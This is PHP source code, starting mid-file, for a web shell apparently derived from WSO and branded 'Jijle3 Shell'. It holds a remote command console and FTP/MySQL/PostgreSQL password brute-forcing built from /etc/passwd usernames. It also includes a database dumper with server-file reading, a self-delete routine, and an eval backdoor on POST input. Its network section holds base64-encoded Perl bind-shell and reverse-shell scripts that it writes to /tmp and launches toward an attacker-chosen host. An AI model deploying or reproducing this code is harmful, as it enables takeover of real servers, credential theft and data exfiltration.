        echo "d.cf.output.value+='" . $temp . "';";
        echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
        $temp = ob_get_clean();
        echo strlen($temp), "\n", $temp;
        exit;
    }
    wsoHeader();
    echo "<script> \r\nif(window.Event) window.captureEvents(Event.KEYDOWN); \r\nvar cmds = new Array(''); \r\nvar cur = 0; \r\nfunction kp(e) { \r\n    var n = (window.Event) ? e.which : e.keyCode; \r\n    if(n == 38) { \r\n        cur--; \r\n        if(cur>=0) \r\n            document.cf.cmd.value = cmds[cur]; \r\n        else \r\n            cur++; \r\n    } else if(n == 40) { \r\n        cur++; \r\n        if(cur < cmds.length) \r\n            document.cf.cmd.value = cmds[cur]; \r\n        else \r\n            cur--; \r\n    } \r\n} \r\nfunction add(cmd) { \r\n    cmds.pop(); \r\n    cmds.push(cmd); \r\n    cmds.push(''); \r\n    cur = cmds.length-1; \r\n} \r\n\r\n</script>";
    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
    foreach ($GLOBALS['aliases'] as $n => $v) {
        if ($v == '') {
            echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
            continue;
        }
        echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
    }
    if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
        $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
    }
    echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
    if (!empty($_POST['p1'])) {
        echo htmlspecialchars("\$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']));
    }
    echo '</textarea><table  cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
    echo '</form></div><script>d.cf.cmd.focus();</script>';
    wsoFooter();
}
function actionLogout()
{
    session_destroy();
    die('bye!');
}
function actionSelfRemove()
{
    if ($_POST['p1'] == 'yes') {
        if (@unlink(preg_replace('!\\(\\d+\\)\\s.*!', '', __FILE__))) {
            die('Salam Alaykoum ! See You Soon &hearts;');
        } else {
            echo 'unlink error!';
        }
    }
    if ($_POST['p1'] != 'yes') {
        wsoHeader();
    }
    echo '<h1>Suicide</h1><div class=content>Do You Want To Delete Jijle3 Shell ?<br><a href=# onclick="g(null,null,\'yes\')">Yes Please</a></div>';
    wsoFooter();
}
function actionBruteforce()
{
    wsoHeader();
    if (isset($_POST['proto'])) {
        echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
        if ($_POST['proto'] == 'ftp') {
            function bruteForce($ip, $port, $login, $pass)
            {
                $fp = @ftp_connect($ip, $port ? $port : 21);
                if (!$fp) {
                    return false;
                }
                $res = @ftp_login($fp, $login, $pass);
                @ftp_close($fp);
                return $res;
            }
        } elseif ($_POST['proto'] == 'mysql') {
            function bruteForce($ip, $port, $login, $pass)
            {
                $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
                @mysql_close($res);
                return $res;
            }
        } elseif ($_POST['proto'] == 'pgsql') {
            function bruteForce($ip, $port, $login, $pass)
            {
                $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                $res = @pg_connect($str);
                @pg_close($res);
                return $res;
            }
        }
        $success = 0;
        $attempts = 0;
        $server = explode(":", $_POST['server']);
        if ($_POST['type'] == 1) {
            $temp = @file('/etc/passwd');
            if (is_array($temp)) {
                foreach ($temp as $line) {
                    $line = explode(":", $line);
                    ++$attempts;
                    if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
                        $success++;
                        echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
                    }
                    if (@$_POST['reverse']) {
                        $tmp = "";
                        for ($i = strlen($line[0]) - 1; $i >= 0; --$i) {
                            $tmp .= $line[0][$i];
                        }
                        ++$attempts;
                        if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
                            $success++;
                            echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
                        }
                    }
                }
            }
        } elseif ($_POST['type'] == 2) {
            $temp = @file($_POST['dict']);
            if (is_array($temp)) {
                foreach ($temp as $line) {
                    $line = trim($line);
                    ++$attempts;
                    if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
                        $success++;
                        echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
                    }
                }
            }
        }
        echo "<span>Attempts:</span> {$attempts} <span>Success:</span> {$success}</div><br>";
    }
    echo '<center><h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
    echo '</div><br>';
    wsoFooter();
}
function actionSql()
{
    class DbClass
    {
        var $type;
        var $link;
        var $res;
        function DbClass($type)
        {
            $this->type = $type;
        }
        function connect($host, $user, $pass, $dbname)
        {
            switch ($this->type) {
                case 'mysql':
                    if ($this->link = @mysql_connect($host, $user, $pass, true)) {
                        return true;
                    }
                    break;
                case 'pgsql':
                    $host = explode(':', $host);
                    if (!$host[1]) {
                        $host[1] = 5432;
                    }
                    if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
                        return true;
                    }
                    break;
            }
            return false;
        }
        function selectdb($db)
        {
            switch ($this->type) {
                case 'mysql':
                    if (@mysql_select_db($db)) {
                        return true;
                    }
                    break;
            }
            return false;
        }
        function query($str)
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->res = @mysql_query($str);
                    break;
                case 'pgsql':
                    return $this->res = @pg_query($this->link, $str);
                    break;
            }
            return false;
        }
        function fetch()
        {
            $res = func_num_args() ? func_get_arg(0) : $this->res;
            switch ($this->type) {
                case 'mysql':
                    return @mysql_fetch_assoc($res);
                    break;
                case 'pgsql':
                    return @pg_fetch_assoc($res);
                    break;
            }
            return false;
        }
        function listDbs()
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->query("SHOW databases");
                    break;
                case 'pgsql':
                    return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                    break;
            }
            return false;
        }
        function listTables()
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->res = $this->query('SHOW TABLES');
                    break;
                case 'pgsql':
                    return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                    break;
            }
            return false;
        }
        function error()
        {
            switch ($this->type) {
                case 'mysql':
                    return @mysql_error();
                    break;
                case 'pgsql':
                    return @pg_last_error();
                    break;
            }
            return false;
        }
        function setCharset($str)
        {
            switch ($this->type) {
                case 'mysql':
                    if (function_exists('mysql_set_charset')) {
                        return @mysql_set_charset($str, $this->link);
                    } else {
                        $this->query('SET CHARSET ' . $str);
                    }
                    break;
                case 'pgsql':
                    return @pg_set_client_encoding($this->link, $str);
                    break;
            }
            return false;
        }
        function loadFile($str)
        {
            switch ($this->type) {
                case 'mysql':
                    return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                    break;
                case 'pgsql':
                    $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
                    $r = array();
                    while ($i = $this->fetch()) {
                        $r[] = $i['file'];
                    }
                    $this->query('drop table wso2');
                    return array('file' => implode("\n", $r));
                    break;
            }
            return false;
        }
        function dump($table, $fp = false)
        {
            switch ($this->type) {
                case 'mysql':
                    $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                    $create = mysql_fetch_array($res);
                    $sql = $create[1] . ";\n";
                    if ($fp) {
                        fwrite($fp, $sql);
                    } else {
                        echo $sql;
                    }
                    $this->query('SELECT * FROM `' . $table . '`');
                    $head = true;
                    while ($item = $this->fetch()) {
                        $columns = array();
                        foreach ($item as $k => $v) {
                            if ($v == null) {
                                $item[$k] = "NULL";
                            } elseif (is_numeric($v)) {
                                $item[$k] = $v;
                            } else {
                                $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
                            }
                            $columns[] = "`" . $k . "`";
                        }
                        if ($head) {
                            $sql = 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
                            $head = false;
                        } else {
                            $sql = "\n\t,(" . implode(", ", $item) . ')';
                        }
                        if ($fp) {
                            fwrite($fp, $sql);
                        } else {
                            echo $sql;
                        }
                    }
                    if (!$head) {
                        if ($fp) {
                            fwrite($fp, ";\n\n");
                        } else {
                            echo ";\n\n";
                        }
                    }
                    break;
                case 'pgsql':
                    $this->query('SELECT * FROM ' . $table);
                    while ($item = $this->fetch()) {
                        $columns = array();
                        foreach ($item as $k => $v) {
                            $item[$k] = "'" . addslashes($v) . "'";
                            $columns[] = $k;
                        }
                        $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
                        if ($fp) {
                            fwrite($fp, $sql);
                        } else {
                            echo $sql;
                        }
                    }
                    break;
            }
            return false;
        }
    }
    $db = new DbClass($_POST['type']);
    if (@$_POST['p2'] == 'download') {
        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
        $db->selectdb($_POST['sql_base']);
        switch ($_POST['charset']) {
            case "Windows-1251":
                $db->setCharset('cp1251');
                break;
            case "UTF-8":
                $db->setCharset('utf8');
                break;
            case "KOI8-R":
                $db->setCharset('koi8r');
                break;
            case "KOI8-U":
                $db->setCharset('koi8u');
                break;
            case "cp866":
                $db->setCharset('cp866');
                break;
        }
        if (empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach ($_POST['tbl'] as $v) {
                $db->dump($v);
            }
            exit;
        } elseif ($fp = @fopen($_POST['file'], 'w')) {
            foreach ($_POST['tbl'] as $v) {
                $db->dump($v, $fp);
            }
            fclose($fp);
            unset($_POST['p2']);
        } else {
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
        }
    }
    wsoHeader();
    echo " \r\n<center> \r\n<h1>Sql browser</h1><div class=content> \r\n<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> \r\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> \r\n<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'> \r\n<td><select name='type'><option value='mysql' ";
    if (@$_POST['type'] == 'mysql') {
        echo 'selected';
    }
    echo ">MySql</option><option value='pgsql' ";
    if (@$_POST['type'] == 'pgsql') {
        echo 'selected';
    }
    echo ">PostgreSql</option></select></td> \r\n<td><input type=text name=sql_host value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td> \r\n<td><input type=text name=sql_login value='" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "'></td> \r\n<td><input type=text name=sql_pass value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
    $tmp = "<input type=text name=sql_base value=''>";
    if (isset($_POST['sql_host'])) {
        if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
            switch ($_POST['charset']) {
                case "Windows-1251":
                    $db->setCharset('cp1251');
                    break;
                case "UTF-8":
                    $db->setCharset('utf8');
                    break;
                case "KOI8-R":
                    $db->setCharset('koi8r');
                    break;
                case "KOI8-U":
                    $db->setCharset('koi8u');
                    break;
                case "cp866":
                    $db->setCharset('cp866');
                    break;
            }
            $db->listDbs();
            echo "<select name=sql_base><option value=''></option>";
            while ($item = $db->fetch()) {
                list($key, $value) = each($item);
                echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
            }
            echo '</select>';
        } else {
            echo $tmp;
        }
    } else {
        echo $tmp;
    }
    echo "</td> \r\n\r\n                <td><input type=submit value='>>' onclick='fs(d.sf);'></td> \r\n                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td> \r\n            </tr> \r\n        </table> \r\n        <script> \r\n            s_db='" . @addslashes($_POST['sql_base']) . "'; \r\n            function fs(f) { \r\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; \r\n                    if(f.p1) f.p1.value=''; \r\n                    if(f.p2) f.p2.value=''; \r\n                    if(f.p3) f.p3.value=''; \r\n                } \r\n            } \r\n            function st(t,l) { \r\n                d.sf.p1.value = 'select'; \r\n                d.sf.p2.value = t; \r\n                if(l && d.sf.p3) d.sf.p3.value = l; \r\n                d.sf.submit(); \r\n            } \r\n            function is() { \r\n                for(i=0;i<d.sf.elements['tbl[]'].length;++i) \r\n                    d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; \r\n            } \r\n        </script>";
    if (isset($db) && $db->link) {
        echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
        if (!empty($_POST['sql_base'])) {
            $db->selectdb($_POST['sql_base']);
            echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
            $tbls_res = $db->listTables();
            while ($item = $db->fetch($tbls_res)) {
                list($key, $value) = each($item);
                if (!empty($_POST['sql_count'])) {
                    $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                }
                $value = htmlspecialchars($value);
                echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
            }
            echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
            if (@$_POST['p1'] == 'select') {
                $_POST['p1'] = 'query';
                $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
                $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                $num = $db->fetch();
                $pages = ceil($num['n'] / 30);
                echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . (int) $_POST['p3'] . ">";
                echo " of {$pages}";
                if ($_POST['p3'] > 1) {
                    echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
                }
                if ($_POST['p3'] < $pages) {
                    echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
                }
                $_POST['p3']--;
                if ($_POST['type'] == 'pgsql') {
                    $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . $_POST['p3'] * 30;
                } else {
                    $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . $_POST['p3'] * 30 . ',30';
                }
                echo "<br><br>";
            }
            if (@$_POST['p1'] == 'query' && !empty($_POST['p2'])) {
                $db->query(@$_POST['p2']);
                if ($db->res !== false) {
                    $title = false;
                    echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
                    $line = 1;
                    while ($item = $db->fetch()) {
                        if (!$title) {
                            echo '<tr>';
                            foreach ($item as $key => $value) {
                                echo '<th>' . $key . '</th>';
                            }
                            reset($item);
                            $title = true;
                            echo '</tr><tr>';
                            $line = 2;
                        }
                        echo '<tr class="l' . $line . '">';
                        $line = $line == 1 ? 2 : 1;
                        foreach ($item as $key => $value) {
                            if ($value == null) {
                                echo '<td><i>null</i></td>';
                            } else {
                                echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                            }
                        }
                        echo '</tr>';
                    }
                    echo '</table>';
                } else {
                    echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                }
            }
            echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
            if (!empty($_POST['p2']) && $_POST['p1'] != 'loadfile') {
                echo htmlspecialchars($_POST['p2']);
            }
            echo "</textarea><br/><input type=submit value='Execute'>";
            echo "</td></tr>";
        }
        echo "</table></form><br/>";
        if ($_POST['type'] == 'mysql') {
            $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
            if ($db->fetch()) {
                echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
        }
        if (@$_POST['p1'] == 'loadfile') {
            $file = $db->loadFile($_POST['p2']);
            echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
        }
    } else {
        echo htmlspecialchars($db->error());
    }
    echo '</div>';
    wsoFooter();
}
function actionNetwork()
{
    wsoHeader();
    $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQokc3lzdGVtPSAnZWNobyAiYHVuYW1lIC1hYCI7JzsNCiRzeXN0ZW0xPSAnZWNobyAiYGlkYCI7JzsNCiRzeXN0ZW0yPSAnZWNobyAiYHB3ZGAiOyc7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpwcmludCAiWyBKaWpsZTMgU2hlbGwgfCBDb2RlZCBCeSBQaGVub21lbmUgRHogXVxuIjsNCm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KcHJpbnQgIlxuIFsrXSBQaGVub21lbmUgRHogW01hcnR5cnMgQ3Jld10gQmFjay1Db25uZWN0IFsrXVxuIjsNCnByaW50ICJcblsrXSBCaXNtIEFsbGFoIFsrXVxuIjsNCnByaW50ICJcblN5c3RlbSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0pOw0KcHJpbnQgIlxuUGVybWlzc2lvbiA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0xKTsNCnByaW50ICJcbkRpcmVjdG9yeSA+ICI7IA0Kc3lzdGVtKCRzeXN0ZW0yKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7==";
    $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    echo "<h1>Back Connect</h1><div class=content><form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"><span>Bind port to /bin/sh [perl]</span><br/>Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>Back-connect  [perl]</span><br/>Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='21'> <input type=submit value='>>'></form><br>";
    if (isset($_POST['p1'])) {
        function cf($f, $t)
        {
            $w = @fopen($f, "w") or @function_exists('file_put_contents');
            if ($w) {
                @fwrite($w, @base64_decode($t));
                @fclose($w);
            }
        }
        if ($_POST['p1'] == 'bpp') {
            cf("/tmp/bp.pl", $bind_port_p);
            $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
            sleep(1);
            echo "<pre class=ml1>{$out}\n" . wsoEx("ps aux | grep bp.pl") . "</pre>";
            unlink("/tmp/bp.pl");
        }
        if ($_POST['p1'] == 'bcp') {
            cf("/tmp/bc.pl", $back_connect_p);
            $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
            sleep(1);
            echo "<pre class=ml1>{$out}\n" . wsoEx("ps aux | grep bc.pl") . "</pre>";
            unlink("/tmp/bc.pl");
        }
    }
    echo '</div>';
    wsoFooter();
}
function actionRC()
{
    if (!@$_POST['p1']) {
        $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
        echo serialize($a);
    } else {
        eval($_POST['p1']);
    }
}
if (empty($_POST['a'])) {
    if (isset($default_action) && function_exists('action' . $default_action)) {
        $_POST['a'] = $default_action;
    } else {
        $_POST['a'] = 'Home';
    }
}
if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
    call_user_func('action' . $_POST['a']);
}
exit;
